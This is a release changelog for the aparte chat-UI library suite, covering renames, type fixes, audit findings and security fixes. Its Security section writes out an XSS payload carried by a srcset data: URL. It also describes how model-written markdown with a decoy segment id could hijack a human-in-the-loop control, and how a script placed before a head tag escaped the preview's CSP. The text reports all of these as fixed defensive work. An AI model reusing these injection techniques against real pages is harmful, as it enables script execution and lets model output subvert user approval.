authorizeis required oncreateAparteChatHandler. The endpoint spends your server-held key, and both the JSDoc example and the docs snippet omitted it — the copy-paste path was the unauthenticated one.authorize: () => truestill works, but now someone wrote it on purpose. Vendor error bodies are summarised instead of relayed, because an OpenAI 401 hands the caller your key’s prefix and tail. -
streamRunner: runStreamAgentfinally typechecks. Making it compile required narrowingrole, mirroring the content-part union and the tool types, declaringmodelId, and removing three index signatures from@aparte/engine’s mirror types. A consumer who wrote their ownStreamAgentMessagemay need to adjust. -
@aparte/engineno longer re-exportsderiveArtifactKind— it collided with@aparte/core’s export of the same name, with a different function behind it. -
escapeHtml/escapeAttr,AparteHostHandlersConfigandAparteKeyProviderare now exported from@aparte/core. -
Ten exports are renamed, before 1.0 makes their names permanent. The four classes gain the prefix every other class already carried, and the six shared defaults gain a namespace so they cannot collide with an app’s own:
before after DirectTransportAparteDirectTransportBackendTransportAparteBackendTransportMessageRepositoryAparteMessageRepositoryConversationManagerAparteConversationManagerDEFAULT_LOCALEAPARTE_DEFAULT_LOCALEDEFAULT_UI_EVENTSAPARTE_DEFAULT_UI_EVENTSDEFAULT_ICON_FALLBACKSAPARTE_DEFAULT_ICON_FALLBACKSDEFAULT_BUBBLE_ACTIONSAPARTE_DEFAULT_BUBBLE_ACTIONSDEFAULT_HOST_HANDLERSAPARTE_DEFAULT_HOST_HANDLERSDEFAULT_SKELETON_FALLBACKSAPARTE_DEFAULT_SKELETON_FALLBACKSFunctions keep their verb names —
registerDefaultRenderers,contentToText,filesToAttachmentsand the rest are unchanged, because prefixing a verb reads worse than the inconsistency it would fix. -
The config naming is inverted:
AparteConfigis now the class, and the page-wide instance isaparteGlobalConfig.AparteConfigClassis gone.import { AparteConfig, type AparteConfigClass } from '@aparte/core';AparteConfig.setMarkdownProvider(provider);function configure(config: AparteConfigClass) {}import { aparteGlobalConfig, type AparteConfig } from '@aparte/core';aparteGlobalConfig.setMarkdownProvider(provider);function configure(config: AparteConfig) {}One
sedcovers a whole consumer, and the order matters — run the instance first, so that\bAparteConfig\bcannot yet match the class:Terminal window # 1. the instance, then 2. the class. Never the reverse.grep -rlE '\bAparteConfig(Class)?\b' src \| xargs perl -pi -e 's/\bAparteConfig\b/aparteGlobalConfig/g'grep -rl 'AparteConfigClass' src \| xargs perl -pi -e 's/\bAparteConfigClass\b/AparteConfig/g'It rewrites string literals too, so a log prefix of your own like
[AparteConfig]becomes[aparteGlobalConfig]— harmless, but check your diff if you grep your logs.Two reasons this happens now rather than never.
AparteConfigClasswas not a name, it was an admission — theClasssuffix existed only because the good name was taken by an object, and PascalCase means constructor everywhere else in the ecosystem, soAparteConfig.setMarkdownProvider(...)read as a static method to every reader. And the library moved under it: since config became per-instance, the global singleton is one config among several and the one we recommend least. Giving it the canonical name pointed at the case we want people to outgrow;aparteGlobalConfigsays at every call site which config you are touching. -
@aparte/provider-transformers:terminateWorker()no longer bricks the provider. Called while a generate was in flight, it dropped the pending streams but left their serialization slots unresolved — so the nextchat()awaited a promise that could never settle. No error, no rejection: the stream simply never started again, for the life of the page. The worker-error path already released those slots, with a comment explaining why;terminateWorker, 240 lines below it, did not.Its state is still tab-scoped, on purpose, and now says so: one worker, one loaded model, one generate at a time, with
setComputeDevice/setMaxCachedModels/setHardwareTierModelsapplying page-wide. A local model is 1–2 GB of weights and one WebGPU pipeline, so a worker per chat would mean N copies resident in one tab — the failure this package exists to avoid. Two chats on the same model share the load, which is the case it is for. Two chats on different models serialize and, at the default budget of one cached model, can evict and reload gigabytes between turns — that used to happen in silence and now warns once, naming both models.TransformersProvider.chatis also declared non-optional now, so consumers stop needingprovider.chat!(...). -
Seven documented event contracts are gone, because those events never existed. Not “undocumented” — the name appeared in the repo only in its own declaration.
aparte-artifact-opensat in the event map with a detail type asserting it is “dispatched by the artifact pill when a user clicks it”; three hits repo-wide, all three its own declaration.removed why AparteTokenEventDetailaparte-tokenis dispatched nowhereAparteMessageEventDetailaparte-messageis dispatched nowhereAparteStatusEventDetailaparte-statusis dispatched nowhereAparteToolActionDetailits JSDoc names aparte-tool-action, which does not existAparteSegmentActionEventaparte-segment-actiondoes not existAparteConversationUnarchiveDetaila dead type on a live event — the dispatcher types both archive branches with AparteConversationArchiveDetailTwo were renamed rather than deleted, because their shape was right and only the event they named was wrong:
import type { AparteArtifactOpenEventDetail, AparteSegmentUpdateEvent } from '@aparte/core';import type { AparteArtifactRedownloadEventDetail, AparteSegmentUpdateEventDetail } from '@aparte/core';AparteArtifactRedownloadEventDetailis field-for-field what the Download button really dispatches.AparteSegmentUpdateEventDetailwas a detail, not an event, and had never reached a package entry point at all — so you could bind an event listed in the published API table and never name its detail. Same forAparteConversationArchiveDetail, now exported. -
Twenty events gained a typed
detail, so the cast the docs promised you would never write is finally unnecessary. The map carried 17 entries against 37 events that dispatch a detail. Fourteen had no declared type anywhere — includingaparte-file-gen-ready/-error, where core renders a “Running sandbox…” card and waits onwindowfor an event nothing in the library emits, so a consumer had to reverse-engineer six fields from an inline cast to make a binary artifact ever finish. Six more had a public detail type and still forced a cast at every listener.Additive for your code, and
check:event-mapnow enforces both directions: an event with a detail must be in the map, and a map entry must correspond to a real event. -
AparteThemeVariablesis{ [K in—aparte-${string}]?: string }. It was a hand-written list of 33 CSS properties, ten of which are neither declared nor read anywhere in aparté — so it autocompleted ten knobs that do nothing — while the real surface is 254 tokens. You lose autocomplete and gain a type that cannot lie; the 231 tokens the old list omitted, the wholeaparte-selectsurface included, now typecheck. The discoverable list is the generated CSS-variables reference. -
One name for the imperative surface:
AparteChatImperativeApi. React exported it asAparteChatHandle, Vue and Svelte asAparteChatInstance, and Angular exposed no name at all — one contract wearing three names in a suite that publishes all four together in lockstep. Both aliases are gone; every wrapper now re-exports the canonical type straight from@aparte/core, which is also where its documentation lives, so the names cannot drift again.import { AparteChat, useAparteChat, type AparteChatHandle } from '@aparte/react';import { AparteChat, useAparteChat, type AparteChatImperativeApi } from '@aparte/react';Same rename for
AparteChatInstancein@aparte/vueand@aparte/svelte. Nothing about the shape changed — it was already an alias of the same type in all three. -
AparteAIProvideris a union instead of one permissive interface. It had three required members and fifteen optional ones, holding two mutually sufficient execution surfaces — achat()that owns its own I/O, or the format-adapter surface a transport drives — discriminated at runtime byisFormatAdapter(). So{ id, getMetadata, getModels }typechecked, registered without a word, and failed on the first message. A half-built adapter (buildRequestbut noparseStream) did the same, and so did a complete adapter with no way to present a key.Now the compiler answers “which half did you implement?”. Every member of both surfaces stays reachable on the union — optional on the arm that does not require it — so
typeof p.buildRequest === 'function'probes andisFormatAdapter()narrowing are unchanged, and a provider implementing both surfaces is still valid. If your provider was complete it compiles as before; if it was one of the shapes above, it never worked. -
Every satellite’s peer on
@aparte/coreis now the lockstep range (~0.8.0) instead of>=0.5.0-alpha.0 <1.0.0. The suite has always published in lockstep, so that range described a compatibility promise nobody was making or testing: npm was happy to install@aparte/react@0.8.0beside@aparte/core@0.5.0, and the failure landed at runtime with no warning at install. This very release makes the point — under the old range,@aparte/react@0.8.0would install against@aparte/core@0.7.1and then fail on anaparteGlobalConfigthat does not exist there.If you install the packages together, or with
latest, nothing changes. If you were pinning@aparte/corebehind the wrappers, npm now tells you at install time instead of at first render. -
@aparte/svelteships its.sveltesources instead of a precompiled bundle, and supports Svelte 4 and 5 (^4.0.0 || ^5.0.0). Nothing to change in your code, unless you were importing from a deep path insidedist. -
Every plugin
setup*takes an optional trailingconfig, so a plugin can be scoped to one chat instead of the global singleton. Existing calls are unaffected. -
AparteClientacceptstoolTimeoutMs, matchingrunStreamAgent’s option of the same name — it was previously a hard-coded constant, so setting it worked on one loop only.
Security
Nine private copies of the HTML-escaping helper became one; three of them had drifted to leave the apostrophe through, which is enough to break out of a single-quoted attribute. 42 unescaped attribute interpolations were swept (the audit reported 3). Segment lookups are scoped to their own children, so a decoy
data-segment-idin model markdown can no longer hijack a human-in-the-loop control. A style declaration containing a backslash is rejected outright, and adata:image URL must name its subtype.srcsetnow goes through the same URL allowlist assrc. It had only ajavascript:/vbscript:substring test, sosrcset="data:text/html,<script>..."passed untouched while the identical URL onsrcwas rejected — one allowlist giving two answers depending on which attribute carried the URL. Each scheme in the value is validated rather than splitting on commas, because a legitimate base64data:URL contains one.data:image/svg+xmlis deliberately KEPT in the allowlist, contrary to an earlier plan to drop it: inside an<img>a data-URL SVG is secure-static in every engine (no scripts, no external fetches), and removing it would break a model emitting an inline chart. What it must not do is travel — an app that moves such a URL into an<object>,<embed>or an iframe leaves secure-static mode, and that constraint belongs to whoever re-hosts it.Also in this release
-
Elicitation stops inventing refusals. With no presenter registered,
requestUserInput()resolved{ action: 'cancel' }in silence: your tool reported a refusal the user was never asked for, and the model answered as though they had declined. It still resolvescancel(a question nobody can render cannot be awaited) but now warns once, and the guide shows the<aparte-elicitation>element you must place — it registers itself on connect, so nothing happens until it is in your markup. -
@aparte/sveltepublishes resolvable types.typeswas not first in itsexportsblock, and export conditions are order-sensitive, so TypeScript could not resolve the package’s types at all. Thesveltecondition now carries its owntypes, matching how core’snodecondition is built. -
escapeHtml/escapeAttr/cssEscapeare documented with an example instead of being mentioned in passing: which one belongs in markup, which in an attribute, which in a selector, and why the apostrophe matters. They were exported all along while a comment in their own file claimed they were internal. -
AparteClientOptions.toolTimeoutMsis in the config reference. Theconfigargument every pluginsetup*takes is documented with an example — it was named nowhere, and it is what lets two chats on one page use different providers. -
Segment renderers are per config too, so the
configprop is now honest end to end.registerSegmentRenderer,unregisterSegmentRenderer,getSegmentRenderer,getAllRenderers,collectRendererStyles,registerDefaultRenderersanddeclineDefaultRenderersall take an optional trailing config; omitted, they act on the ambient or global one exactly as before, so no existing call changes.This was the other half of the wrappers’ promise. A plugin’s providers were already scoped, but the registry deciding WHICH renderer draws a segment was a module-level Map — two chats on a page shared their segment renderers whatever config they were given.
AparteClient({ config, autoRegister: false })was affected the same way: it declined the built-ins on the global config rather than on its own, muting the wrong chat. -
thinkingDelimitersis documented, including the two pairs recognised by default and the fact that only the bring-your-own-loop path can reach it.
A Safari bug the new browser suite found, and closed
In framework mode — what every React / Vue / Svelte / Angular consumer runs — a streamed transcript settled a deterministic 31px short of the bottom on Safari and stayed there, so the last line of a reply sat under the fold. A timeline of a streamed turn showed the content settling in TWO layout passes (1118 → 1121 → 1152 px):
scrollTop = scrollHeightran against the middle one and nothing ran again afterwards. Auto-follow was armed the whole time — the viewport was not disarmed, it was satisfied, because “am I at the bottom?” is answered with a 50px tolerance that is right for keeping auto-follow armed and wrong as a definition of anchored.Fixed by a bounded re-check over the next few frames, which stops as soon as the gap is closed and re-reads the auto-follow flag every frame so a reader who scrolls away mid-settle is left alone. It exists only because a browser test drove a real progressive stream through a real engine; no unit test could see it, and the suite that shipped before this release delivered every reply atomically. every package
- Pressing Stop no longer erases the answer. A stopped turn replaced everything
already streamed with an error bubble, and never dispatched
-
7d6652a: A third cold audit, and the one CRITICAL it found
Five auditors, five dimensions, no access to the changelog or the git history — because a previous round proved seven of the maintainer’s own claims false, and an auditor who reads the changelog is grading the essay rather than the code. One CRITICAL, twenty MAJOR. All twenty-one are closed here.
The CRITICAL, and its family.
<aparte-elicitation>registered its presenter on the config it could resolve atconnectedCallback. All four wrappers callAparteChatHost.bind()— which runsattachConfig— from a post-mount hook, so the element connected before the boundary existed and registered on the global singleton.requestUserInput()then resolved the instance config, found no presenter, and returned{action:'cancel'}: the model was told the user refused a question the user was never shown. Silent, and in the supported multi-chat path.An earlier sweep for this bug class fixed every element that READS its config live and missed both that WRITE to it — a write has already happened, so resolving live cannot save it.
attachConfig/detachConfignow notify the subtree, and a registrant implementsAparteConfigAware.aparteConfigChanged(next, previous). Three MAJORs shared the root cause:<aparte-model-selector>cached its config (and its subscription) at connect; a segment renderer registered the documented way landed on the global and was invisible to any chat with aconfigprop — an instance config now inherits global registrations; and all four wrapper conversation-manager hooks wrote the manager to the global, makingconfig+ persistence a silently degraded mode.init(adapter, config?)on all four.The streaming seam lost text three ways. A non-streaming (string) reply skipped the parser flush, so a reply ending on a backtick or
<lost that tail and one made only of those rendered nothing. The XML machine finalized after the parser flush, so the text it hands back — always a prefix of<artifact— reached a parser that would never be flushed again; the loss was total. And the adapter’s pre-tag path could add a segment but not update one that had just completed, freezing a code block mid-fence. The parity suite gained the two scenarios that missed all of this by a delta boundary, and it immediately rejected the core-side fix as well: it had split one sentence into two segments and put the held prefix before the prose it follows.Security. The artifact preview’s
<meta>CSP was inserted relative to the first<head>the model’s markup declared — and a meta policy governs only what follows it, so a<script>placed before that tag ran uncontained. Reproduced in Firefox, WebKit and csp-attribute-less Chromium; since thecspiframe attribute is Chromium-only, this meta is the only containment those engines get. Three branches collapse to one: always first.AparteToolRenderer.rendernow returnsstring | HTMLElementlike its sibling, and both it and the guide say thattoolCall.inputis model-chosen. And the primary backend-handler snippet no longer satisfies the mandatoryauthorizegate withBoolean(req.headers.get('cookie')), which authenticates nothing.Migration.
getHostHandlers()returnsRequired<AparteHostHandlersConfig>— four fields,artifactRehydrateincluded.AparteToolRenderer.renderwidened, so existing string renderers keep working. The page-global config moved to a versionedSymbol.forkey: two copies of@aparte/coreon one page now get one global each instead of sharing an object across whichinstanceofis false. Theshikiandmarkedpeer ranges narrowed to the majors this repo tests against (^4and^18) — an over-narrow peer is a warning you can override, an over-wide one is a lie.Six of the twenty MAJORs were defects in the guards themselves, which is the part worth reading twice. Seven gate steps ran in no CI workflow, five of them guards that bite — and the only place their names appeared under
.github/was a comment narrating a previous audit finding the same thing.check:gate-in-cinow diffs the workflow against the gate chain.check-event-mapwas blind to object-shorthanddetail, exempting the ten most important events.check-doc-snippetswaived every diagnostic in a fence containing one unresolved name — 44 of 118 fences, hiding twofor awaitSyntaxErrors in the branching guide.check-bundle-entriesread a re-export shim and skipped the chunk where core lives, and could not have seen an inlined dependency at all, so it gained an assertion that core’s manifest declares none.check-export-mentionscould not see type-only exports; measured once it could, 141 public exports were named on no page, now on a per-package ratchet that a new component cannot raise.@aparte/core,@aparte/engine,@aparte/plugin-marked,@aparte/plugin-model-selector,@aparte/plugin-shiki,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
d3e482c: The question panel: right chat, readable schema, replaceable field
Eleven defects in the elicitation surface — the panel a tool puts up when it has to ask the user something. They survived four from-scratch audits for one reason, and it is the most useful thing in this release: no tool ever reached the model, so this surface was never executed. Not badly audited. Never run. Its unit tests pinned the shape it had and said nothing about which chat anything belonged to, what the model was asked to fill in, or what a screen reader would hear.
One person with a local model broke it in four places in twenty minutes.
Which chat a question belongs to.
<aparte-elicitation>could mount its panel in ANOTHER chat’s composer: it walked up looking for one and fell back todocument.querySelector. Removing that fallback was not enough — the walk itself reached<body>, where aquerySelectorsearches the whole document, so it found the other chat’s composer by a longer route. The walk now stops at the chat boundary and finding nothing cancels with a warning that names the fix. A Stop in one chat also cancelled the question another was waiting on, telling that chat’s model the user had refused something they were still reading — the twowindowlisteners had no instance filter at all. And in RAW core the composer could not identify itself either (all four wrappers settarget; hand-written markup does not), so one chat’s Stop tore down the other’s open panel while its tool call kept waiting.What the model is asked to fill in. A question with no options was schema-VALID:
optionswas neither required nor given aminItems, and the 2–6 range lived in the system prompt as prose. A local model duly sent two questions with no options, and the panel rendered a radio list whose only entry was “Other…” — a text box wearing the costume of a choice.optionsis now required withminItems: 2, and a model that ignores that gets an honest labelled text field instead of an emptyenum. The question text also stopped being the object property KEY: two identically-worded questions used to collapse into one field, and the field was labelled only because the panel falls back to printing the key. Stable keys now, the text as the field’stitle, and a label map so the model still reads “question → answer”.Who decides the UX.
allow_otheris out of the model’s schema and becomessetElicitationOptions({ allowOther })on the config. The model describes the question; the host owns the surface. Defaulttrue, so nothing a user sees changes — only who gets to say so. A model still sending it is ignored, so no existing call breaks. A field of a schema you build yourself can still setallowOther, and it wins.What the user sees. The composer kept offering the attachment picker through an entire elicitation — there is nowhere for a file to go while you are answering a question. Declared now with
data-panel-active+ CSS instead of an inlinestyle.displaythat clobbered a consumer’s own value. Groups of choices are named by the question they answer (role="radiogroup"/group+aria-labelledby): a screen reader used to announce “Chromium, radio button, 1 of 2” with no question attached. Seven strings that were hardcoded English — “Other…”, its placeholder and accessible name, “Skip”, “Yes”, “No”, “Your answer” — are optional locale keys with per-key fallback, plus the French. And the panel’s CSS moved out of a JS-injected<style>into the stylesheet with fifteen--aparte-elic-*tokens: it was the one surface that could not be themed, its variables were absent from the generated reference, and the injection was never re-created if anything removed it.How several questions are asked. A form of two or more questions put them all in one box — a shape inherited from MCP elicitation without being examined. MCP describes a form for collecting structured data; asking a person two different questions in the middle of a conversation is not that, and no product does it by stacking. Several questions are now asked ONE AT A TIME, with a chip per question that is also how you go back. Each field takes a short
headerfor that chip (the tool schema asks the model for two or three words) and falls back to the question’s position rather than truncating a sentence. The protocol is untouched: the answer is still one object with every key, and the composer’s send button still means submit.layout: 'stacked'keeps the form case, which is real — it was just never the right default.The composer’s one button carries the progression: a chevron while questions remain, a check on the last one, and the panel is what knows which. That is why there is no “Next” button — the composer already has a button, in a place the user knows, and it already changes meaning between sending and stopping. Adding a second row for a Next made the panel taller and made it change height when that row went; folding the meaning into the existing button removed both problems and the button now says what it does.
And the escape from the whole request sits in the panel’s CORNER, not in a row beside the button that advances through the form: adjacency promised “skip this question” while it declines everything. Position, not decoration — which is also why the reference implementations put theirs in a corner.
What a consumer can replace.
setElicitationFieldRendererrenders one field while the panel keeps everything around it. It returns a control rather thanstring | HTMLElementbecause a field must hand back a value, and the schema vocabulary is now a stated contract — three field kinds plus the object form, closed, with a test pinning the count so it cannot grow quietly.Migration.
allow_otheris ignored rather than rejected. The panel’s pixels can move if you were overriding its rules by selector — that is the trade for being able to override them by token. An<aparte-elicitation>mounted outside any chat now cancels with a warning instead of borrowing the first composer on the page.AparteLocalegains seven OPTIONAL keys, so an existing locale package keeps compiling and keeps rendering English.Twenty-six new unit tests and five browser tests — the first browser coverage this surface has ever had. Every fix has its sabotage, and one of them refuted a claim of mine before it shipped: the new axe scan does NOT catch an unnamed radio group, so the comment saying it would is corrected in place and the unit tests are named as the real guard.
@aparte/core,@aparte/plugin-ask-user,@aparte/locale-fr -
1603015: No tool ever reached the model, and three smaller things a first test session found
All four of these came out of one person sitting down with the examples and a local LM Studio, which found in twenty minutes what four from-scratch audits had not. The pattern is worth naming: an audit reads the code, a user runs it.
A registered tool was never sent.
AparteClientgates the request’stoolsarray ongetCurrentModel()?.capabilities?.includes('function_calling'). Three facts made that gate permanently closed on the documented primary path:getCurrentModel()readprovider.getModels()— the synchronous, hand-declared list — which every preset of@aparte/provider-openai-compatleaves empty because a compat endpoint’s list only exists after aGET /models;fetchModels()never wrote its result anywhere the resolver could see; and it declared only['streaming']. SogetTools()held the tool the app had registered andtools: []went on the wire. The model then answered, correctly, that it had no such tool — which is exactly what a tester saw, with no error and no warning anywhere. The whole tools guide,needsApproval, human-in-the-loop approval and@aparte/plugin-ask-userwere inert.Three changes, each with the reasoning where it lives.
AparteConfigcaches whatrefreshProviderModels()brings back andgetCurrentModel()consults it before the static list.openai-compatdeclaresfunction_calling, because atoolsarray is a property of the wire format it implements, not a guess about the model —/modelsreturns{id, object, owned_by}and will never say otherwise, so waiting for it to declare the capability means never declaring it. And the gate now asks whether the model said it CANNOT rather than whether it said it can: a model that declares its capabilities and omits function calling is still honoured, but an unknown model — the common case — no longer turns an explicitregisterToolinto a silent no-op. Over-sending means a model that cannot call a tool does not call one; under-sending was silent and total. Two end-to-end tests that had been parked on this decision are now running.requireModelSelectionis enforced by the thing that runs the turn. It was drawn byaparte-composer— greying itself, refusingsubmit()— and enforced nowhere else, so any other route to anaparte-sendwalked past it: a suggestion chip, a “try this prompt” button, a host dispatching the event itself. The turn then ran withconfig.defaultModel || '', an empty model id on the wire. Reported from an example, where the chips above the composer stay clickable while the composer is visibly greyed out waiting for its model list. The client now refuses such a send and says why, because the developer is who can fix it — an app that gates should disable its own affordances too.The model selector’s dropdown was ordered by a race. It fetches every provider’s
/modelsin parallel and pushed each result as it arrived, so the order — and therefore whatauto-selectlands on — was decided by whichever endpoint answered first. A cloud provider on a CDN beats a local server that has to wake up, which means an app registering[local, local, cloud]could land on the paid one, and on a different one after a reload. The list is indexed by registration order now:auto-selectdocuments itself as “the first model”, and first has to mean first.And the guide that described the old gate said tools are sent “only when the selected model’s
capabilitiesincludefunction_calling”, which was true and is the sentence that made the behaviour look intended rather than broken.@aparte/core,@aparte/provider-openai-compat,@aparte/plugin-model-selector -
950261d: The
<artifact>XML streamer is a file, and its twin no longer disagrees with it@aparte/coreand@aparte/engineeach carry a hand-maintained copy of the same streaming<artifact>state machine — core cannot import engine’s, because engine peer-depends on core. Keeping two copies in step is the whole contract, and until now core’s half had no name: it was a private method plus a nested block inside a 2324-line class, so the two files cited each other by line number. Four of six of those citations had rotted onto unrelated code.:1658-1669, sold as “the finalize block”, was a tool handler’sAbortController;:1034-1042, sold as “_streamLoop’s leading writes”, was_handleSendresolving auth. One of the wrong ones was published in the API reference.Core’s half now lives in
client/xml-artifact-feed.ts, holding both halves the way engine’s file does —feedXmlArtifactDeltaandfinalizeXmlArtifact. It moved without a semantic change: it dereferencesthiszero times, because the state it mutates was always owned by its caller. Every citation between the two files is now a name, and a new gate guard (check:cross-refs) refuses a comment that cites code by line number at all.Bug fixed, found by the pairing. A stream that ended on a held partial tag —
… <arti, then nothing — silently dropped those characters. The feeder holds such a suffix on purpose (without it, a tag split across deltas loses the artifact’s whole lifecycle), and engine’sfinalize()has always handed the held text back as chat text. Core’s finalize only ever handled thein-artifactcase. Reachable with nothing unusual: any truncated reply whose last delta happens to end on<,<a, …<artifac.No API change:
AparteClientbehaves identically apart from that fix, and the new module’s exports are not re-exported from the package barrel.@aparte/core,@aparte/engine -
c87d2b2:
@aparte/plugin-ask-questionis now@aparte/plugin-ask-user, and the tool isask_userA rename, decided by looking at what the ecosystem actually calls this rather than at what we had called it.
There are two naming levels and they answer differently. The protocol level has a standard — MCP calls it elicitation (
elicitation/create), and ours already matched:requestUserInput,AparteElicitation*,<aparte-elicitation>. The tool level has no formal standard but a clear convention, and it isask_user: Claude Code’sAskUserQuestion,datasette-agent’sask_user(),pi-ask-user,ask-user-questions-mcp.ask_questionwas ours alone.What changed
- the package:
@aparte/plugin-ask-question→@aparte/plugin-ask-user - the tool the model is offered:
ask_question→ask_user - the element alias:
<aparte-ask-question>→<aparte-ask-user>, classAparteAskQuestion→AparteAskUser - the exports:
askQuestionTool/askQuestionHandler/setupAskQuestion→askUserTool/askUserHandler/setupAskUser, andAskQuestionOption/Item/Detail→AskUser*
What did NOT change, deliberately. The receipt keeps its names —
questionReceiptRenderer,QuestionReceiptSegment, and the'question-receipt'segment type. They name the ARTIFACT (a question and the answer it got, kept in the transcript), not the tool that produced it, and that segment type is a public string an app can emit on its own. Renaming it would break those apps for no gain.Migration. Change the dependency name, and the four identifiers above. No alias and no shim: this library is pre-1.0 and breaks cleanly rather than accumulating two names for one thing. The old package name stays on npm at its last published version and will receive nothing further — nothing is unpublished, so an existing install keeps working until it is updated.
A model that keeps calling
ask_questiongets no tool by that name, which surfaces as an unknown-tool error rather than silence.@aparte/plugin-ask-user - the package:
Patch Changes
-
c87d2b2:
@aparte/plugin-ask-questionis now@aparte/plugin-ask-user, and the tool isask_userA rename, decided by looking at what the ecosystem actually calls this rather than at what we had called it.
There are two naming levels and they answer differently. The protocol level has a standard — MCP calls it elicitation (
elicitation/create), and ours already matched:requestUserInput,AparteElicitation*,<aparte-elicitation>. The tool level has no formal standard but a clear convention, and it isask_user: Claude Code’sAskUserQuestion,datasette-agent’sask_user(),pi-ask-user,ask-user-questions-mcp.ask_questionwas ours alone.What changed
- the package:
@aparte/plugin-ask-question→@aparte/plugin-ask-user - the tool the model is offered:
ask_question→ask_user - the element alias:
<aparte-ask-question>→<aparte-ask-user>, classAparteAskQuestion→AparteAskUser - the exports:
askQuestionTool/askQuestionHandler/setupAskQuestion→askUserTool/askUserHandler/setupAskUser, andAskQuestionOption/Item/Detail→AskUser*
What did NOT change, deliberately. The receipt keeps its names —
questionReceiptRenderer,QuestionReceiptSegment, and the'question-receipt'segment type. They name the ARTIFACT (a question and the answer it got, kept in the transcript), not the tool that produced it, and that segment type is a public string an app can emit on its own. Renaming it would break those apps for no gain.Migration. Change the dependency name, and the four identifiers above. No alias and no shim: this library is pre-1.0 and breaks cleanly rather than accumulating two names for one thing. The old package name stays on npm at its last published version and will receive nothing further — nothing is unpublished, so an existing install keeps working until it is updated.
A model that keeps calling
ask_questiongets no tool by that name, which surfaces as an unknown-tool error rather than silence.@aparte/core - the package:
0.7.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
4a180af: The composer no longer sits flush against the bottom edge of the chat.
Spotted in two live apps: as soon as a conversation started,
center-emptystopped centering the composer and it touched the bottom of the screen. That was an asymmetry in core’s own spacing, not a layout choice — the viewport puts 16px between the last bubble and the composer, and there was nothing below it.It is core’s to fix rather than the app’s, because an app cannot express it from outside: padding the container also shrinks the scroll area, so the transcript would stop before the edge instead of scrolling to it.
New token, with the same 16px the viewport already uses on its other sides:
/* flush composer — a full-bleed mobile shell with a docked keyboard */aparte-chat {--aparte-chat-bottom-gap: 0;}Visible change: every full-height chat gains 16px under its composer. Applies to the vanilla element and to all four wrappers.
A patch, not a minor: this corrects an asymmetry in core’s own spacing, and the new token is the escape hatch for the correction — a way back to the previous rendering — not a capability anyone asked for.
@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.7.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
acb1e37: Breaking: the composer’s three positional footer slots become one
toolbar.footerLeft/footerCenter/footerRight(and theirfooter-left/footer-center/footer-rightslot equivalents) are removed. Pass onetoolbarinstead and order your controls yourself:// before<AparteChat footerLeft={<ModePicker />} footerRight={<ModelSelector />} />// after<AparteChat toolbar={<><ModePicker /><ModelSelector style={{ marginInlineStart: 'auto' }} /></>} />Placement inside the row is the DOM order;
margin-inline-start: autopushes a control — and everything after it — to the end. It is a logical property, so a control that used to be in the right-hand slot now follows the reading direction instead of contradicting it in a right-to-left locale.Vue uses
<template #toolbar>, Svelte<svelte:fragment slot="toolbar">(a fragment projects several nodes with no wrapper element), Angularslot="toolbar"on each projected node.New in core:
<aparte-composer-toolbar>, the element the row actually is. It works in plain HTML with no wrapper, which the row never did before — vanilla consumers had to write<div class="aparte-composer-footer">by hand. It hides itself while empty, and it is not part of the default<aparte-chat>shell: nothing is drawn until you put something in it.Also in core:
<aparte-composer>now mirrors the locale’s reading direction onto itself.dirwas applied by the viewport alone, so an RTL locale flipped the transcript and left the composer left-to-right — which also made any logical margin inside it behave like a physical one.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr.
0.6.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2075f9b: README fix: the npm page announced ”🚧 Pre-alpha — not yet published to npm” — false on the very page npm was serving, and it had been through four releases. It now states what the package is (alpha, plain
0.x, lockstep, API can still change) and links the changelog.The quick start went with it: it showed
registerDefaultRenderers()as a required step (the built-ins install themselves since 0.5.0-alpha.0) and stopped before the one line that makes the retry/edit buttons appear now that they ship off. It also pointed at the docs sources in the monorepo rather than at apartejs.dev.@aparte/core -
0c4c0e3: Fix: a locale switch now reaches the components already on screen. The docs say it plainly — “a locale switch is live: mounted components re-render immediately” — and
setLocale()does notify. The components honoured only part of it, so switching language left a bilingual interface until a reload rebuilt the elements:- a bubble rebuilt its action-bar labels but kept its old name (
You/Assistant), its avatar initial, thearia-labelof the‹ ›branch arrows and of the action toolbar, and the waiting indicator’s screen-reader label; - a viewport applied
locale.directiononce at render, so a chat already mounted never flipped to RTL; - a conversation list kept its previous-language row labels (the delete/archive buttons, and the fallback title of an untitled conversation) until something else happened to re-render it.
All three now refresh on the config change, keeping the existing precedences: an explicit
nameattribute still outranks the locale, and an instance-scoped config change never touches a component resolving to another config.@aparte/core - a bubble rebuilt its action-bar labels but kept its old name (
-
6e0211c: Fix: refreshing a live option list no longer throws away the keyboard position.
aparte-selectkeeps its roving highlight as adata-activeattribute on an option ELEMENT, so replacing the options of an open dropdown took it away — while the component still believed it held a position. Consequences, all silent:- the visible highlight disappeared mid-navigation;
aria-activedescendanton the trigger kept pointing at an id no longer in the document — a broken reference for a screen reader;- the next arrow key moved from the stale index.
Worse, nothing noticed: a consumer refreshing a list writes into
.aparte-select-options, a descendant, and the observer watched only its own children. It now watches the subtree and re-asserts the highlight on the new elements, clamped to the new length, and only when the dropdown was already open with a position held — a refresh never invents one, and navigation resumes where the user was rather than jumping back to the top.Found via three CI-only e2e flakes (a keyboard-navigation assertion polling ten seconds for a highlight that a concurrent refresh had erased).
@aparte/plugin-model-selectoris the in-repo consumer that triggers it, whenever the provider list settles.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.6.0
